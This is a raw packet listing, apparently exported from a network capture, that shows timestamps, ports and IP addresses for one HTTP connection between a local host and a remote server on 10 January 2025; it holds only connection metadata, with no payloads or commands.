Jan 10, 2025 14:28:10.923012972 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.923028946 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.923039913 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.923049927 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.923068047 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:10.923074961 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.923095942 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:10.923115015 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:10.927937984 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.927947044 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.927994967 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:10.966006994 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.966020107 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.966039896 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:10.966069937 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.016694069 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.040438890 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.040463924 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.040479898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.040493011 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.040509939 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.040524960 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.040572882 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.040719032 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.040757895 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.040769100 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.040802956 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.041187048 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.041197062 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.041215897 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.041229010 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.041239023 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.041268110 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.041814089 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.041827917 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.041848898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.041857958 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.041872978 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.041899920 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.042351961 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.042365074 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.042381048 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.042397976 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.042411089 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.042417049 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.042447090 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257087946 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257103920 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257126093 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257179022 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257227898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257268906 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257285118 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257307053 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257313967 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257329941 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257343054 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257363081 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257370949 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257388115 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257399082 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257404089 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257433891 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257441044 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257457018 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257471085 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257486105 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257497072 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257508039 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257528067 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257575035 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257592916 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257613897 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257621050 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257637024 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257649899 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257674932 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257688999 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257705927 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257714987 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257728100 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257744074 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257751942 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257774115 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257787943 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257797003 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257811069 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257826090 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257906914 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257917881 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257936954 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257944107 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257956982 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257972956 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.257981062 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.257991076 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258008957 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258014917 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.258035898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258043051 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.258058071 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258070946 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258088112 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.258100986 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258111000 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258128881 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.258136988 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258150101 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258167982 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.258356094 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258367062 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258385897 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258393049 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.258409977 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258423090 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.258433104 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.258471012 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.262114048 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262125969 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262147903 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262161016 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262177944 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262183905 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.262200117 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262238979 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.262415886 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262427092 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262449026 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.262475014 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.275397062 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275409937 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275433064 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275448084 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275454044 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.275470018 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275480032 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.275518894 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.275615931 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275626898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275643110 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275665998 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.275676012 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.275702953 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.276067972 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276133060 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276166916 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.276300907 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276566029 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276577950 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276619911 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.276635885 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276653051 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276664019 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276670933 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.276684999 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.276695967 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277019978 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277030945 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277055025 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277060986 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277075052 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277090073 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277096033 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277111053 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277117968 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277129889 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277168036 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277528048 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277667999 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277678013 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277698040 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277714014 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277721882 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277736902 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277750969 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277756929 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277775049 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277786970 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.277798891 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.277826071 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.278588057 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.278611898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.278626919 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.278647900 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.278656960 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.278670073 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.278688908 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.278696060 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.278712034 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.278724909 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.278734922 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.278765917 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.279519081 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.279531002 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.279560089 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.279567957 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.279582024 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.279598951 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.279619932 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.279625893 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.279638052 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.279659033 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.279666901 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.279700994 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.280365944 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.280390978 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.280424118 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.280431032 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.280464888 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.280487061 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.280499935 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.280509949 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.280531883 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.280550003 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.280561924 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.280590057 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.281327963 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.281338930 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.281359911 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.281375885 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.281390905 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.281404972 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.281419992 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.281426907 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.281446934 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.281455994 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.281471014 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.281505108 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.282268047 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.282279015 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.282300949 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.282320976 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.282577991 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.282588005 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.282612085 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.282620907 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.282632113 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.282653093 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.282656908 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.282687902 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.293445110 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.299063921 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.336291075 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.336317062 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.336330891 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.336350918 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.336361885 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.336384058 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.336399078 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.336405993 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.336420059 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.336436033 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.336441040 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.336472034 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.339118004 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.339129925 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.339155912 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.339167118 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.339183092 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.339193106 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.339217901 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.339219093 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.339241028 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.339248896 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.356367111 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.366086960 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366123915 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366132975 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.366161108 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366188049 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366195917 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.366210938 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366229057 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366245031 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.366254091 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366266966 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366286039 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366292953 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.366312027 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366322994 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.366333961 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366348982 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366360903 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366378069 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.366391897 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366399050 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.366436958 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.366471052 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.367559910 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.392843962 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.392859936 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.392894030 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.392906904 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.392923117 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.392934084 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.392956018 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.392962933 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.392980099 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.392992973 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.392998934 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393013954 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393052101 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393094063 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393104076 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393131018 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393141031 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393151999 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393171072 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393178940 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393192053 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393214941 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393264055 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393286943 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393299103 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393306971 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393321991 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393336058 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393378973 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393392086 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393409014 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393424988 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393439054 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393455029 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393461943 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393471003 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393495083 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393537998 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393573046 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393579006 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393590927 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393640995 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393666029 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393673897 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393687010 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393704891 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393711090 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393726110 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393738031 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393790007 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393821955 CET	80	49704	193.143.1.205	192.168.2.7
